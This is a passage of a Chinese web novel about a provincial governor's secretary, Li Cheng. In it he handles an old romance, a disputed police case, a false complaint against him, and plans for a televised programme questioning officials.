在她的眼神深处,同样饱含着复杂情愫。 “是李承呀,听说你现在在省政府给省长当秘书呐,真有出息。”秦虹妈妈笑呵呵的跟李承打招呼。 以前,她见到李承都是冷着脸的。 “是。”李承点头。 “还没吃饭呢吧?我们晚上准备吃火锅,你到我们家里吃一口吧。”秦虹妈妈邀请道。 “不了,谢谢阿姨的好意。” 李承拒绝了。 他已经走出了那段悲伤的过去,也有了心的爱人,准备开启新生活。 所以,他不想再跟过去的人,有太多交集。 第81章 遗憾 李承不想与秦虹有过多联系,并非是他绝情。 在那段感情里,李承始终认为秦虹是一个很好的恋人。 但现在,李承有了新的爱人,就要对许梦负责,保护好她。 换位思考,如果许梦有过恋爱经历,李承也不会接受她与前男友有往来,甚至去他家里做客。 所以,己所不欲勿施于人。 李承答应要好好保护许梦,就要给她十足的安全感。 “李承,之前是我和你叔叔的问题,强把你们一对恋人给拆散了,这些年我们也后悔。 我家秦虹因为这事跟我们闹了两年的别扭,听思瑶说,你现在也没结婚。 我也想清楚,你们年轻人的恋爱,我们不干涉,你未婚,秦虹也未嫁,你们可以再相处相处,毕竟有感情基础在。” 秦虹妈妈笑呵呵的说。 上次柳思瑶来家里,跟秦虹父母讲述了李承的现状,还进行了一顿鼓吹。 说李承是省长秘书,副处级干部,妥妥未来的潜力股。 四十岁就能做到市长的位置。 秦虹父母在听说自己的干涉,导致女儿错过了成为领导夫人的机会,他们心中也是懊悔不已。 今天刚好遇见,秦虹妈妈还想再撮合撮合他们两个人。 “妈,如果李承不是省长的秘书,只是一个农民工的话,你还会说出这番话吗?” 没等李承回答,秦虹率先提出反问。 “我....” 被女儿问到关键,秦虹妈妈有些心虚。 她到现在为止,看重的还是李承的位置,如果李承是农民工,她会自豪中带着挖苦的对秦虹说:看,他就是一个农民工,妈妈当初阻止你们是对的,跟着他,你得受一辈子的苦。 心虚归心虚,她还是嘴硬的说:“当然会,只要你愿意就行。” “如果你当初能这么想就好了。” 秦虹眼神黯淡了几分,她看向李承:“听思瑶说,你有女朋友了,祝你幸福。” “谢谢。”李承回以一笑,笑容同样复杂。 “爸妈,我们走吧。” 秦虹对父母说了一句,迈步向前走。 秦虹妈妈还想再对李承说些什么,被秦虹爸爸瞪了一眼,两个人这才跟上女儿的脚步离开。 李承没有转身去看,他深深的吸掉最后一口烟,用皮鞋碾灭了烟头。 而在离去后,秦虹眼角流下了晶莹的泪珠。 看到李承有了很好的工作,也有了自己心爱的女人,她是打心底里祝福李承的。 因为她见到过李承的爱,也知道,李承和李承的父母为了他们这段感情付出了努力。 两人有缘无分的原因,是她父母的问题。 只是,秦虹的心底深处有一抹遗憾。 如果当初自己的父母能够支持,或许,两个人一定是这世界上最幸福的一对爱人。 李承站在原地,久久未动。 他已经放下了这段感情,可当看到秦虹刚刚强忍泪水的倔强模样时,还是会被牵动。 他又何尝没有因为这段感情的分别,跟饱受过痛苦呢? ‘我的爱如潮水,爱如潮水将我向你推,紧紧跟随...’直到手机铃声响起,他将他的思绪拽了回来。 拿起手机,来电显示:陈思琪。 “喂?” “师父,你在忙吗?”陈思琪情绪低落的问。 “不忙,怎么了?”李承问。 “那你能来一趟城西派出所吗?我这边遇到了点麻烦,师父,只有你能帮我了。” 陈思琪楚楚可怜的说。 “你遇到什么麻烦了?”李承追问。 “是我弟弟,他跟别人发生了冲突,是对方的错,情况很复杂,现在他们要定我弟弟为主犯,好像要判刑。” 陈思琪说着说着,竟然哽咽了起来。 李承见过陈思琪的弟弟,一个不学无术的小混混。 他弟弟能成为那副德行,也是因为陈思琪父母老来得子,溺爱出来的结果。 “行,我现在过去。”李承没有拒绝。 上次陆涛和潘男联合设局陷害他,是陈思琪提前透露风声给他。 这才达到了‘反杀’的效果。 无论对方出于什么目的,至少是帮过自己的忙,出于人情世故,他也得去打个照面。 “谢谢师父,我就知道你最好。” 挂断电话,李承拦了一辆出租车,赶往城西派出所。 半个小时后。 陈思琪看到李承走进派出所,急匆匆的迎了上去。 她的眼圈是红的,刚哭过。 在她身后还站着一对夫妇,是陈思琪的父母。 “具体怎么回事?”李承问。 “上周五,我弟弟和他朋友在KTV唱歌,因为一个公主串台的问题,跟KTV的人动起手了。 本来我以为跟平常打架斗殴一样,关几天就出来了,但这次有个服务生被打成了轻伤二级,有刑事责任。 可这件事是KTV的问题,是他们管理不到位,警方说KTV是受害方,要我们赔偿KTV的所有损失,得不到对方谅解,还可能要坐牢。” 陈思琪将事情经过讲述给李承。 所谓的串台,就是KTV的陪酒公主,同时陪两个包厢的客人。 在这个包厢待一会,去另一个包厢坐一会儿,来回串着陪。 从这个角度上说,的确是KTV存在管理问题,是对方的错。 但任何事情,只要触犯到刑事案件,就要以谁先动手,以及双方伤情做定论。 何况,陪酒公主这件事,本身就不受法律保护,不在消费者的权益之中。 “你弟弟打伤了人,法律该怎么判,我也没办法,我不能干涉司法公正。”李承婉言拒绝。 虽说,以现在他的身份,可能只要打一个电话,就可以解决这件事。 但他不会为此滥用私权。 这触碰到李承的底线问题,他不会帮。 “师父,我没有让你干涉司法公正,我只是想让你给我们讨一个公道。” 陈思琪知道李承的秉性,她也清楚,想让李承违法纪律帮她,是不可能的。 “什么公道?”李承不解的问。 在他看来,陈思琪弟弟给人打成轻伤二级,就是他的错,没什么可辩解的。 “打人的不只是我弟弟,率先动手找茬的也不是他,他就是一个参与者,但那个领头的人,家里找了关系。 然后就把我弟弟定成了主犯,我只是想要一个公正。” 第82章 司法公正 “师父,我也找律师问过,如果定成主犯的话,我弟弟要蹲三年以上,我就这一个弟弟,他的人生才刚刚开始,不能在监狱里度过呀。” 陈思琪说着,双手拉住了李承的胳膊,眼眶中含着泪水。 “犯了错就要受罚,但我会帮你要一个公道的处罚结果。”李承说。 他不能利用职权,帮助陈思琪的弟弟摆脱罪名,也不能干涉司法公正性。 可按照陈思琪的描述,这起案件已经违背了司法公正。 他可以在不包庇的前提下,进行一定的干涉。 “谢谢师父。”陈思琪挤出一抹笑容。 “谢谢啊,思琪的师父,我儿子的事情就拜托你了,我们老两口都是本本分分的老实人,实在是没辙了。” 陈思琪的父亲递过来一根香烟,客客气气的说。 李承接过香烟,从口袋里拿出火机,先帮陈父点燃。 对方毕竟是长辈,不能因为他是省长的秘书,就目中无人,不分长幼。 在门口吸着香烟,李承拿起手机,给市局局长宫庆鑫打了一通电话过去。 “李秘书,这么晚打电话,有什么吩咐?”宫庆鑫接通电话,客气的问。 “一点私事,想请宫哥帮个小忙。”李承弹了弹烟灰。 “你说,咱俩不用那么客气。”宫庆鑫呵呵一笑,道。 能被李承拜托帮忙,在宫庆鑫看来,这是他的荣幸。 两个人有了工作之外的交集,才能相处为朋友。 能和省长秘书成为朋友,还让对方欠下一个人情,这对宫庆鑫来说,是一个难得的机会。 “是这样,我朋友的弟弟....” 接下来,李承将陈思琪弟弟的情况讲述给了宫庆鑫:“宫哥,这个案子,该怎么办就怎么办,我只要一个司法公正。” “明白。” 宫庆鑫应了一声,问:“李秘书,你在城西派出所?” “嗯。” “那我现在过去。” 挂断电话,李承走进派出所,找了一个空位坐下,准备休息休息。 陈思琪和她的父母坐在李承旁边,跟着李承一起等。 “你们还在这干什么,解决办法都告诉你们了,在这靠着也没用。”一个四十多岁的秃顶男人叼着香烟,走到几人面前,说。 “什么解决办法?”李承随口问。 刚才在陈思琪的说辞里,并没有提到解决办法。 “他让我们找KTV和被打服务生签谅解书,我们也找过了,对方狮子大开口要五十万,我们又拿不起。”陈思琪解释道。 “肋骨骨折三根,牙齿还打掉了两颗,TKV的电视给人砸坏了,沙发茶几也有破损,要你们五十万还多吗? 拿不出钱,就别惹祸啊!” 秃顶男人横气十足,不像是警员,更像是一个地痞流氓。 “人又不是我弟弟一个人打的,再说,我弟弟就是一个从犯,你凭什么给他定性为主犯呀。” 有李承在这里撑腰,陈思琪也硬气了很多。 “你别说这些废话,根据我们的调查,你弟弟就是主犯,拿不出谅解书,你们就等着判决书。” 秃顶男人随手将烟灰弹在地上,道。 “你说陈宇强是主犯,能给我们看一下你的证据吗?”李承开口说。 闻言,秃顶男人打量了李承几眼,问:“你是陈宇强什么人?” “这是我师父,我师父现在可是....” 陈思琪仰着下巴,十分傲气的想要介绍出李承的身份。 “你们说他是主犯,总要拿出让我们信服的证据才对吧?” 不等陈思琪说完,李承开口打断。 现在是下班时间,这件事又不在李承的工作范围内,他不能滥用省长秘书的身份。 “证据,等到开庭宣判的那一天,你们都会看见,还有,你又不是直系亲属,又不是律师,就不要多嘴。 赶紧哪来的回哪去!” 秃顶男人冷着脸,隐隐有撵人的意思。 “等开庭,那不就晚了吗?你现说我儿子是主犯,你得给我们看证据呀,你什么都不给我们看,也不让我们见,这不是拿我们当冤大头吗?” 陈思琪父亲反驳道:“上次你说,家属无权看,得找律师阅卷,律师我们也找了呀,你还是有借口拖延。 你分明就是心里有鬼!” “注意你说话的态度,这里是派出所,不是你家!”秃顶男人严厉的呵斥道。 “你有态度吗?你这个态度,适合用于嫌疑人家属吗?” 就在这时,一道冷漠的声音从门口方向传来。 秃顶男人目光看去,原本恼火的脸上,如同京剧变脸似的堆积起笑容:“宫局,您怎么来了?” 宫庆鑫并没有理会他,径直走到了李承的面前。 “宫哥,你来了。”李承站起身,先跟他打了个招呼。 “李...李经理,让你久等了吧。” 原本宫庆鑫想喊他李秘书,但对方并没有称呼他的职位,他觉得,李承也不想暴露自己的身份,话到嘴边就换了称呼。 他听李承在外面喊过孟良德为老板,所以,他灵机一动,称呼李承为经理。 “没有,我也刚到没一会儿。”李承说。 “我先去处理一下。” 宫庆鑫冲李承微微一笑,转头看向秃顶男人时,表情又变得严肃:“你跟我进来。” 说完,宫庆鑫迈步向前走,秃顶男人灰溜溜的跟在他身后。 很快,里面传来了宫庆鑫对秃顶男人严厉的训斥声,还有男人的道歉。 大概十几分钟后,宫庆鑫走了出来。 “李经理,事情已经调查清楚了,城西派出所的确存在工作失职的问题,这件事,我一定会秉公处理。” 宫庆鑫向李承做出情况汇报。 工作失职,就证明,这件事的确如陈思琪所言,存在司法不公正的现象。 “嗯,按照法律流程处理就行,不要有任何的包庇。”李承认真的叮嘱道。 他反复强调不包庇,就是担心宫庆鑫会因为自己打了招呼,给陈思琪的弟弟开绿灯。 “放心,我明白你的意思。”宫庆鑫点头。 等到宫庆鑫说完,秃顶男人深深的对着李承方向鞠了一躬:“对不起,刚才是我态度不好,我向你们道歉。” 第83章 哥与弟 宫庆鑫帮了李承的忙,对方作为汉江市公安局长,厅局级干部。 这么晚,还能亲自跑一趟。 无论是出于什么目的,但这件事上,李承欠了他一个人情。 请客吃饭这是最基本的。 两个人找了一个烧烤店,点了些烤串,一箱啤酒,便喝了起来。 在官场上,两个人友情升温的表现,就是可以单独找一个不需要档次的地方,喝上几杯啤酒。 “还是喝啤酒爽,一杯冰镇啤酒下肚,比什么好酒都顺口。”两人干掉一杯啤酒,宫庆鑫豪迈的说。 官场上的饭局,白酒是标配。 而到了宫庆鑫这个级别,接触到的朋友,也都是一些位高权重的人。 大家都喝白酒。 如果喝啤酒,就会显得档次不够,或者不够尊重。 但其实,一直以来宫庆鑫都喜欢喝凉啤酒,白酒是无奈之举。 “是呀,自从做了秘书,酒局必定是白酒,那东西,我是真享受不了,还是啤酒清爽。” 李承赞同道。 高档品牌的白酒李承也喝过不少,给他的感觉只有一个,难以下咽。 尤其是清香型的粮食酒,李承闻一下味道,都会有想要呕吐的感觉。 “咱俩一样啊,哈哈哈,不是我恭维你,说句实话,我跟你们上任黄秘书,还有你们处的张俊都吃过饭。 但就跟你相处起来最舒服,不做作,没架子,还通情达理。 我这个人性子直,跟那些虚头巴脑,当面一套背后一套的人,真是相处不来。” 宫庆鑫再次倒满一杯酒,跟李承碰杯。 “张俊已经被调职了,以后你再想跟他喝酒啊,得去离退休干部工作处了。”李承喝光杯中的酒,把张俊的现状告诉给了宫庆鑫。 “哈哈哈,那我得跟他打好关系啊,以后我退休了,还得指望他给我发福利呢。” 宫庆鑫开了句玩笑。 两个人的相处很轻松,宫庆鑫是军人出身,骨子里有那种正直,爽朗的气质。 两个人都很讨厌官场上的弯弯绕绕,人情世故,却又深处其中,无可奈何。 有了共同的特质,相处就会融洽。 “宫哥,有个事情想问你,你知不知道锦绣置业黄天耀跟李美娇借过桥贷款的事情?” 李承突然想起自己的工作问题。 这些贷款问题,如果涉及到法律层面,就会跟公安有关。 或许,宫庆鑫知道一些。 “倒是所耳闻,两三年前的事情了吧。” 宫庆鑫略微思索了一下,压低声音问:“老板是准备从这里查起?” 宫庆鑫口中的老板,就是孟良德。 “我只是看到了关于花海的上访信,上面提到了这件事,联想到锦绣广场聚众闹事,就随口问问你。” 李承点燃一根香烟,摆了摆手,道。 孟良德要从过桥贷款查花海集团的事,本身就没确定下来,孟良德只是想了解一下情况。 而且,就算孟良德有这个想法,这事还不能往外露。 “哦哦。” 宫庆鑫微微点头:“我了解的不多,只知道有这件事,当时锦绣置业的一个合伙人还报了警,本来是由我们市局接管。 但公安厅那边接手了过去,后来就没再听过这件事的消息。” 公安厅! 听到这三个字,李承脑海中的猜想似乎得到了某种闭环。 常百利跟李美娇关系暧昧不清,此案直接避开市局,由公安厅接管,在常百利的包庇下,结局一定是不了了之。 花海集团能够通过非法手段让锦绣置业逾期还款,导致其违约欠下巨额债务。 而李美娇这位毒蝎美人的目标,不仅仅是那些商铺,而是要更多的话,她会不会有其他手段,继续拉长战线,将锦绣置业拖垮至破产呢? 李承认为,这种可能性很大。 别人可能做不到,但李美娇这位黑白通吃的女大佬,一定可以。 李承是审计出身,查财报是他的本能反应。 锦绣置业的事情闹出来后,他查过锦绣置业的财务报表,几年前,他们的经营利润都在稳步上升。 是一家很好的民营企业。 后续才出现的暴雷。 而暴雷的时间,刚好又跟刘秀英提到的时间吻合。 一根烟的时间,李承觉得自己似乎触碰到了真相。 黄天耀最终借了那么多贷款,骗了那么多的钱,可能都与还花海集团的过桥贷款有关。 而他选择携款潜逃,或许是承受不住压力的无奈之举。 毕竟,站在黄天耀的角度,他的世界已经没有光了。 花海集团的背景太大,以至于让他叫天天不应,叫地地不灵。 “李经理,你是不是想到了什么?” 看着李承紧皱的眉头,宫庆鑫端起酒杯,喝了一口。 “没什么。” 李承被他打断思绪,摇头一笑,也端起酒杯:“宫哥,你以后就叫我李承,或者叫我一声弟,都可以。” 经理这个称呼太商务了,也不显亲切。 李承年幼宫庆鑫十几岁,被他喊弟,也并不吃亏。 别看现在李承是省长秘书,风光无限,这些厅级干部要给他面子。 但最多不到五年,孟良德的任期结束,他也就要离开秘书这个岗位。 失去了省长秘书的光环,他就是一个普通的处级干部,而宫鑫庆仍然是厅级领导。 做任何事情,与任何人接触,都不能只看眼前的一时得志。 风光总会有结束的一天,若是为人过于刻薄傲慢,风光结束的那一天,就是报应当头的那天。 “好啊,那我以后就要你李老弟吧,哈哈哈。”宫庆鑫爽朗的笑着。 “那我敬哥一杯。” 李承给杯中倒满了酒,举杯敬酒。 两个人哈哈一笑,痛快的把酒喝干。 饭局在愉快中结束,宫庆鑫趁着李承上厕所的时间,起身去买单:“服务员,算一下我这桌多少钱。” “一共是三百三十二。”服务员回答道。 宫庆鑫掏出四百元现金,准备付款。 但这次,服务员却递给他一百六十几块的零钱。 “这什么意思?”宫庆鑫问。 “跟您同桌的客人来的时候压了五百块钱,这是找您的钱。”服务员微笑解释。 看着服务员递来的钱,又看了看已经从卫生间出来的李承,宫庆鑫的目光更加温和了许多。 第84章 构陷 次日,早。 “老板,信访人的老公是锦绣置业的销售总监,当初花海集团通过过桥贷款的方式,将锦绣置业逼上绝路.....” 在招待宾馆的餐厅里,李承主动讲述起昨天从刘秀英口中知道的经过。 “但是,在刘秀英准备继续讲下去时,她老公马泽回到了家,马泽的态度很强硬,坚决不愿意再提起关于那件事的半点信息。 因为这件事,小两口还吵了一架,我觉得,刘秀英不会再开口了。” 听完李承的讲述,孟良德也放下了汤匙。 “嗯,你怎么看这件事?”孟良德用纸巾擦了擦嘴,问。 “我觉得,黄天耀欠下这么多钱,卷款跑路,不是他的问题,是被花海集团逼到了绝路。 据刘秀英描述,黄天耀是一个很不错的老板,口碑很好,对员工也不吝啬。 他们公司给员工缴纳的社保,都是最高档,薪资待遇是行业顶尖。 并且,我查过锦绣置业的财务报表,业绩逐年上涨,按理说,这样一家优秀公司的董事长,如果不是遭遇什么大问题,不会抛弃一切,卷款跑路。” 李承说出了他的个人观点,和心中猜测。 这些话,李承不会对第二个人讲,在他孟良德面前,他没有隐瞒的必要。 他唯一隐瞒的。 就是昨晚宫庆鑫提到的,当年那起案件被公安厅接管。 李承隐瞒这件事,并非包庇常百利。 人都有私心。 他不想让孟良德认为他是一个大嘴巴,刚刚交代的事情,就与宫庆鑫接了头。 “嗯。” 孟良德微微点头,略作沉思后,他说:“跟进一下这件事,查查来龙去脉。” “老板,是否需要通知办公厅配合工作?”李承问。 继续跟进,首先,他秘书的本职工作会耽搁。 其次,深入调查的话,以花海集团手眼通天的程度,一定会有所察觉。 查,就会打草惊蛇。 在李承看来,莫不如让办公厅协助工作。 “嗯,可以。” ..... 到达单位,李承将手头工作处理好后,来到了秘书长的办公室。 ‘咚咚咚...’ “进。” 敲响房门,得到秘书长的允许后,李承推门而入。 “杨秘书长早上好。” 李承关闭房门,标版溜直的朗声向杨兆华问好。 “少整这些虚头巴脑的,过来坐吧。” 杨兆华看到是李承,笑了两声,示意他坐下。 “这怎么能是虚头巴脑呢,不讨好点领导,以后给我穿小鞋咋整。” 自从杨兆华上任省政府办公厅秘书长后,李承紧绷的心放松了不少,不再需要向秦海在位时那般小心翼翼。 从李承进入官场起,就是杨兆华在带他。 杨兆华不仅是他的老领导,还是他半个师父,两人在审计局就有了深厚的感情基础。 后来在纪委,李承死保杨兆华,更是将两个人的感情推升至患难之交的地步。 而今,两人同在省政府工作,立场又相同,气氛也就更加轻松起来。 “我的鞋太小,你那大脚穿不进去,哈哈哈。” 杨兆华玩笑的调侃了一句后,问:“找我什么事?” “孟省长准备查锦绣置业向花海集团借过桥贷款的事,需要办公厅安排人手。” 李承直接说明问题。 “嗯,我知道了。”杨兆华点头。 当他听到有关花海集团的事情时,也是不禁皱眉。 “这花海集团是鬼见愁啊,怎么听到它的名字,都是这副表情呢。”李承笑着问。 “水太深,说实话,就连我都不想管。”杨兆华很坦然的说出了内心想法。 “有多深?”李承好奇的问。 “你这个身高,淹死你不成问题。”杨兆华说。 “我不会水,怕淹死,老领导,您会游泳,这种事还得您身先士卒啊。”李承说。 “臭小子,都会拿我开涮了是吧。” 杨兆华白了李承一眼:“这件事查起来阻碍不会少,需要一定的时间...” 说到这,杨兆华顿了顿,继续道:“到时候我亲自跟孟省长讲吧。” “行。” 李承这些天对花海集团也有了些了解。 这个公司,很不简单,任何提到它的领导,都会避而远之。 也就是耿直的宫庆鑫,敢谈论一二。 “对了,我还有一件事要问你。” 李承刚准备起身离开,杨兆华喊住了他。 “怎么了?”李承问。 “你跟陈思琪那个小丫头,什么关系呀?”张兆华出言问。 “就是普通朋友。” 李承以为杨兆华在八卦他的感情问题,开口解释。 “今天早上,我接到了汉江市检察院的举报电话,说你干涉司法公正,想帮陈思琪的弟弟从主犯变成从犯,可有此事?”杨兆华严肃的问。 闻言,李承叹了一口气。 他没想到消息传的这么快,昨天晚上发生的事情,今天一早就传到了杨兆华的耳朵里。 而且,对方还有刻意抹黑的行为。 “这是谁举报的我?”李承问。 陈宇强的案件还没有到达移交检察院的地步,但举报电话却是从检察院打来的,这让李承很纳闷。 “你先别管是谁举报的,有没有这回事?”杨兆华问。 “我确实帮了陈思琪的弟弟,但并没有干涉司法公正,而是去维护司法公正.....” 接下来,李承将陈宇强案件的来龙去脉讲述给了杨兆华:“而且我特意反复强调过,在司法公正的前提下,陈宇强该怎么判怎么判。” “如果你所言是真,这件事你做的没错,相反,对方还有故意构陷你的嫌疑,你跟赵金福有过节?” 杨兆华思索了片刻,再次追问。 “是那个老家伙举报的我?” 听到赵金福这个名字,李承释然了。 如果是他给杨兆华打的这通电话,一切也就说得通了。 “嗯。”杨兆华微微点头。 “他这是在报复我呀。” 李承气不打一处来的说,在杨兆华面前,他不需要刻意的伪装。 接下来,李承又将跟赵金福的过节,一五一十的说了一遍。 杨兆华听完后,对李承劝道:“都是些小过节,回头我跟他说说,这件事算了吧。” 第85章 进展 算? 李承心中冷笑,他对赵金福的反感情绪已经上升到了新高度。 如果说,前几次都是私人恩怨的不合,这次恶意举报,却是触碰到了李承的雷区。 杨兆华劝李承,是因为他在汉江担任副书记时,跟赵金福相处的还算融洽。 另一方面,也不想让李承在政治上多树立敌人。 但如果有机会,李承一定会好好整治赵金福一番。 回到办公室,李承接到了来自省公安厅厅长常百利的电话。 对方汇报工作,称海森市陈志伟犯罪团伙尽数被抓捕归案,现在,正联合纪委部门,对于陈志伟的保护伞进行彻查。 短短一周的时间,在海森市横行霸道多年的陈志伟,就被铲除。 公安厅雷霆出手,也是在将功补过。 毕竟,黄天耀死于国外之事,已经让孟良德大发雷霆。 针对此案,常百利不敢怠慢。 挂断电话后,李承走进孟良德的办公室。 “省长,公安厅来电,海森市陈志伟犯罪团伙已经尽数抓捕归案。”李承如实向孟良德做出汇报。 “常百利这次倒是识相了不少。”孟良德点了点头,道。 “他再不识相,怕是要挨收拾了。”李承淡淡一笑。 同属于省政府部门,若是公安厅长一次又一次完不成省长安排的工作,那省长也就会想办法,换一位更有能力的同志担任了。 “对了,你提议的问政节目,我跟洪波书记探讨过,一致决定可行。”孟良德放下手中的笔,抬头看向李承,说。 省长和省委书记达成一致,在东江省,就没有执行不了的工作。 “洪波书记提出了两点要求,一,问政官员的级别不可以超过厅局级,二,主题围绕于民生,对案件方面,不进行问政。 我也赞同洪波书记的观点。” 孟良德将要求告知给李承,就是要让李承来负责监督执行这件事。 “我也赞同两位领导的观点。” 李承对于省委书记马洪波提出的观点,同样也是赞同的。 厅局级已经触碰了全省的权力中心,是地级市领导班子的主干力量。 如果在全省人民面前,公然问政厅局级干部的问题,这等于当众告知大家,一座城市的领导班子出了问题。 领导班子有问题,不仅会让民众认为,这座城市已经腐败到了一定地步,还会认定是上级领导单位(省政府,省委)的监管不到位。 至于案件方面,无非就是刑事、民事和纪检方面,涉及部门是公检法。 问政公检法,很有可能会引起社会恐慌,导致民众丧失对于司法公正的信服力。 公检法部门,一向以公正为基调,不能有半点的形象损失。 “主持人方面,你有没有合适人选?”孟良德微微一笑,问。 “我对于省电视台的人员情况不了解,还请领导定夺。” 李承内心里当然想让许梦担任,不过,他不能说。 说了,就会让孟良德觉得自己有私心。 “不了解吗?我听说你晚上经常要去一趟省电视台啊,呵呵呵...” 孟良德爽朗的笑了两声,语气和善。 不是质问,而是一种玩笑。 “那我也就了解她一个人呀,哈哈哈。”李承笑着回应。 作为秘书,要揣测首长的情绪。 对方是玩笑,自己就要以相对轻松的状态回应。 若是回答的一板一眼,甚至是诚惶诚恐的怕领导多想,那么,领导会认为你很没趣。 “两个主持人,许梦暂定一个席位。”孟良德说。 闻言,李承很欣喜。 他知道,这是孟良德送他的顺水人情。 领导要想让手下人对自己忠心,在条件允许下,自然也要给手下人提供一些便利。 “省长,她主持的话,省政府怕是要被说闲话的。”李承迟疑一秒,说出了自己的担忧。 李承和许梦,已经属于公布恋情。 省电视台的人都知道,许梦在与省长秘书谈恋爱。 这种事情传播起来,速度会超乎想象的快。 其实,李承对于许梦主持问政节目,也是忧喜参半。 喜是问政节目关系民生,势必会引起社会关注而爆火,能够提升许梦的知名度。 忧是这种节目,盘问的都是些官员干部,会得罪一群人。 “就是要让他们传。”孟良德意味深长的说。 李承疑惑,任由他怎么想,都没有想清楚原因。 “问政节目的主持人,要言辞犀利,要敢问,敢得罪人。 普通的主持人敢得罪那些官员吗?谁都清楚做人留一线,日后好相见的道理,有些小心眼的官员,说不定真会背后给主持人使绊子。 但许梦不一样,她是李秘书的恋人,有你这位省长秘书做背书,她可以放开手脚。” 孟良德向李承解释了自己的想法。 “还是有省长您在背后撑腰,不然,谁会把我这个秘书放在眼里。” 李承听完孟良德的解释,点了点头,豁然开朗。 “宣传部那边洪波书记打过招呼,你去联系一下省电视台,让他们尽快准备,有需要配合的工作,直接联系秘书处。” 孟良德吩咐道。 “好的省长。” 李承给孟良德倒完水,退出了办公室。 今天一整天,孟良德要处理和接待的工作都很繁忙,作为专职秘书,李承自然抽不开身去省电视台见他们。 但作为省长秘书,有权利命令对方来见自己。 回到办公室,李承拨通了电视台台长的工作电话。 “我是省长秘书,李承。” 电话接通,李承说明自己的身份。 “李秘书,您好,请问有什么指示?”赖八法小心翼翼的询问道。 “下午两点半,请你准时到我办公室一趟。”李承说。 下午两点半孟良德要开会,有一个小时左右的空档时间,足够李承面谈赖八法。 “好的,李秘书。” 赖八法应了一声,试探性的问:“是孟省长有什么安排吗?” “等你来了就知道了。” 李承没有回答他这个问题。 “好,我一定准时到达。”赖八法答应道。 “嗯。” 李承应了一声,挂断了电话。 第86章 照片 “我是省长秘书,李承。” 给省电视台打过电话后,李承的第二通电话,打给了汉江市信访局局长廖光辉。 孟良德说过,问政的第一站,要从汉江这个省会城市开头。 作为全省的表率。 省会城市的水比地级市更深,涉及到的关系网也更大。 问政省会城市,就是给所有地级市提个醒,表明省政府的决心,让他们不要抱有任何侥幸心理。 毕竟,问政的目的不仅仅是揭露个别部门的疏忽和不作为。 核心的给这些部门提醒,让他们有错改之,无错自省。 “李秘书,您有什么吩咐?” 听到李承的声音,廖光辉声音变得严肃且谨慎。 他没有问是不是孟省长有吩咐,而是直接问李承有什么吩咐,这种潜移默化的区别,也代表了他的内心。 自从李承录到了那个视频后,他对李承十分忌惮,甚至是到了害怕的地步。 那段视频,传到孟良德的眼睛里,李承再上纲上线一番,足够他丢掉乌纱帽。 “下午两点半,到我的办公室来一趟。”李承道。 “好,我一定准时到。” 廖光辉没有多问,连连答应。 他多问,李承也未必告诉他。 就算提前告诉他,若真有解决不了的问题,他该解决不了还是解决不了。 所以,他选择了闭嘴。 下午两点半,李承将孟良德送到会议室。 回来时,廖光辉与赖八法已经等候在此。 “李秘书。” 见李承回来,两个人纷纷起身,笑着跟李承打招呼。 “坐。” 李承微微点头,示意两个人坐下。 两人坐下后,李承还是按照招待标准,给两人分别倒了水。 “李秘书,是孟省长找我们吗?”赖八法接过水,问。 “嗯,孟省长有工作交代二位,不过是由我来转达。” 李承坐在两个人的对面,直接表明主题:“省里决定举办一个问政类电台节目,主要围绕于民生,以及社会影响性事件,对相关部门负责人进行访谈式问政。 这是关于节目的详细情况,你们看一下。” 李承提前将领导的旨意,以及节目的细节,工作安排等,打印了出来。 方便他们能够更直观的了解节目性质,以及后续的安排。 两个人接过李承给的计划书,认真看了起来。 待到两人看完,都放下计划书后,李承继续开口。 “你们二位,一位是电视台台长,主管节目播出工作。一位是汉江市信访局局长,负责收集素材内容。” 民生问题,最主要的获取方式就是信访。 这也是李承将廖光辉叫来的原因。 “李秘书,素材方面,主要收集哪方面?”廖光辉问。 “全方面,市场监督,环境污染都可以,最好是在当地有一定反响,却迟迟没有解决的事件为主。 节目播出,也要为收视率考虑,前几期节目是关键,所以,挑选的素材,也是关键。 你先去挑选合适的事件出来,由我来初审,这个节目孟省长和马书记都很重视,我也会跟进,你们不要疏忽工作。” 李承认真的叮嘱,和耐心解释道。 “明白。” 廖光辉点头答应。 “到时候,你们信访局和电视台都要出工作人员,对于准备播出的事件进行实地考察和采访。 切记,一定不能出现乌龙事件,要调查清楚。”李承再次叮嘱。 “好的李秘书。” “知道了。” 两人纷纷点头答应。 “还有什么疑意吗?”李承看向两个人,问。 “李秘书,主持人的选拔,是省里决定,还是我们电视台自己定?”赖八法问。 “这件事不急,先把前期工作准备好。”李承摆了摆手,没有跟他探讨此事。 “好的。”赖八法点头:“我没有什么意见。” “我也没有。”廖光辉道。 “赖台长,没什么意见的话,你可以先回去了。”李承对赖八法道。 “这个,我可以带走吗?” 赖八法拿起手里的计划书,问。 “可以。” “好。” 赖八法离开了办公室,只剩下李承和廖光辉两个人。 “李秘书,您还有什么吩咐?” 廖光辉也是位副厅级干部,可在李承面前,却大气都不敢喘。 没办法,谁让他有把柄落在了李承手里。 “信访局整改的怎么样了?还需要排长队吗?”李承随口问。 他留廖光辉在这里,就是为了打发一下时间。 顺便,跟他多接触接触。 李承手里有证据,就有了拿捏廖光辉的本钱,自然要走动关系,方便以后办理公务之外的事。 人,不可能一帆风顺,总会遇到工作之外的麻烦。 廖光辉是信访局局长,看似不在实权部门,可工作总会有变动了。 而且信访部门,也不是毫无价值。 “已经整改了,上午基本可以保证五个窗口同时开放,下午最少也不会低于三个窗口。” 见李承是找自己闲聊天,廖光辉悬着的心也算放心了。 他怕李承再去追问花海集团的事情,让他两头为难。 而李承,压根也不想过多盘问。 他与花海集团无仇无怨,李美娇在面对时,向来也是温柔内敛。 追查花海集团是领导吩咐,是工作所需,现在已经转接到了省政府办公厅,李承也不愿多问。 毕竟,谁都知道花海集团背景不一般,都想避而远之,李承也不是愣头青。 能回避,少得罪一些人,他还是乐意的。 孟良德的任期就那么几年,真把花海集团得罪死,在孟良德任期内,如果解决不掉花海集团,李承也失去了孟良德这个护身符,他将举步维艰。 “信访工作不能不重视,尤其是问政节目即将筹备,你更要重视起来你的工作,别到最后,你自己成为被问政的对象。”李承叮嘱道。 “哈哈,谢谢李秘书提醒,这计划表上不是写了嘛,厅局级以上不问政。”廖光辉笑呵呵的说。 “地级市厅局级以上不问政,汉江是副省级城市,你这个局长也是高配副厅级,当然会有破例问政的情况,什么都不是绝对的。” 第87章 威胁 接下来的半个月。 李承按部就班的工作,并进行问政节目的跟进工作。 闲暇时间会跟孟良德打打羽毛球,下下象棋。 再陪许梦看看电影,吃个饭,生活虽然忙碌,充实而快乐。 这天。 